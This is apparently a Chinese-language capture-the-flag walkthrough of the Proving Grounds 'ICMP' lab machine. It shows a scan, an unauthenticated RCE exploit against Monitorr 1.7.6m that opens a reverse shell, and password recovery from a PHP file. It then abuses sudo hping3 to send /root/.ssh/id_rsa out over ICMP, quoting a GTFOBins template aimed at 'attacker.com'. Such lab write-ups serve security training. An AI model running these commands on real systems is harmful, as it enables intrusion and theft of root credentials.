Proving Grounds Play : ICMP Walkthrough

 Proving Grounds Play : ICMP Walkthrough


Foothold :

  • 80 發現 CMS Monitorr 1.7.6m
  • searchsploit 發現 Unauthenticated RCE 48980
  • 直接利用後拿到 Reverse Shell

PE :

  • 使用者 fox Home 目錄下有個特別的檔案 reminder 裡面描述了 crypt.php
  • 之後一樣在 Home 目錄的 devel 使用提示讀取到 crypt.php 檔案,並獲得的一組密碼
  • 使用新獲得的憑證登入機器發現可以 sudo 使用 hping3
  • 依據 GTFO 的 sudo 利用說明,讀取 /root/.ssh/id_rsa 檔案內容
  • 使用 id_rsa with root 登入成功


Rustscan,└─$ rustscan -a 192.168.223.218 --scripts none --ulimit 5000 | tee rustscan



nmap check,└─$ sudo nmap -sU -p 161 192.168.223.218 | tee snmp            



nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.223.218 | tee nmap

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80/tcp open  http    Apache httpd 2.4.38 ((Debian))



whatweb,└─$ whatweb http://192.168.223.218 | tee whatweb



80 / 轉 /mon



下方顯示 Monitorr 1.7.6m



searchsploit 看看└─$ searchsploit Monitorr

發現 RCE 而且還是 Unauthenticated,有這麼容易中大獎.....                                



searchsploit COPY 過來跑跑看

直接給 Usage : python 48980.py target_url lhost lport



直接 Usage 跑跑看,└─$ python3 48980.py http://192.168.223.218/mon 192.168.45.168 4444



4444 Reverse Shell 進來了,這也太容易了吧.......

直接獲取第一階段 flag,放在使用者 fox 的家目錄下



開始 PE,cat /etc/passwd,只有一個使用者 fox



fox 家目錄有個檔案 reminder 是 root 權限,內容如下

crypt with crypt.php: done, it works

work on decrypt with crypt.php: howto?!?

但是 find 尋找 crypt.php 找不到該檔案



fox 家目錄有個 devel 資料夾,但是進入後 ls -la 顯示沒有權限



前面那句話寫 work on decrypt with crypt.php: howto?!?

試試看 cat crypt.php 還真的有東西,看似 HASH 但沒有數字怪怪的....

<?php

echo crypt('BUHNIJMONIBUVCYTTYVGBUHJNI','da');

?>



hydra 測試看看,發現那一段真的是 fox 的密碼



使用該憑證,SSH 直接登入 fox 了



sudo -l 輸入 fox 的密碼後發現 hping3

(root) /usr/sbin/hping3 --icmp *

(root) /usr/bin/killall hping3



參考 GTFO 如下

看說明不是直接提權拿到 root,而是提權使用該指令後可以存取檔案系統


The file is continuously sent, adjust the --count parameter or kill the sender when done. Receive on the attacker box with:

這一段寫檔案室連續發送的,並且要接收

第一段指令有符合現有 fox 可以執行的指令格式

sudo hping3 --icmp --listen xxx --dump

第二段看來是在把機上設定一個檔案叫做 LFILE

然後使用 hping3 去讀取檔案

RHOST=attacker.com
LFILE=file_to_read
sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"


所以這時候要想一下要讀甚麼檔案,一般的設計都是讀取某個使用者的 id_rsa

或是特殊服務的設定檔找到另一組憑證等

這一台機器上有看過僅有 fox 一個使用者

netstat 看一下沒有發現特殊在跑的服務



後來發現可以進到 /root 的 HOME 路徑,且有 .ssh 資料夾也可以進去

又發現有 id_rsa 檔案,不過沒有權限讀取,那就嘗試來讀取該檔案看看



先看一下 GTFO 第一階段的指令

sudo hping3 --icmp --listen xxx --dump

 --icmp : 以 ICMP 的模式執行

 --listen : 聆聽模式,xxx 應該是自行輸入的吧

 --dump : 傾印出來




直接跑跑看,sudo hping3 --icmp 127.0.0.1 --listen id_rsa --dump

看來在 listen 要送過來的東西



第二段指令

sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"

再登入一個 SSH,一樣照著執行看看

sudo /usr/sbin/hping3 --icmp 127.0.0.1 --data 500 --sign id_rsa --file /root/.ssh/id_rsa

看來透過 ICMP 的方式在送東西



原本 listen 的 SSH TTY 收到 id_rsa 的內容了

不過格式看起來怪怪的有兩個 BEGIN 開頭且長度較一般的 id_rsa 來得長



做了一番調查後發現 listen 端的 --dump 參數要改成 --safe

看網路上的使用在監聽文件的時候幾乎都是用 --safe

且送出的 --data 是用 100,有測試維持 --data 500 沒有問題

這個參數是送出封包的大小,用 500 比 100 快多了



再接收一次就正常多了



存成 id_rsa 檔案,直接 ssh 進去了,whoami & id 確認是 root,讀取 proof.txt




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)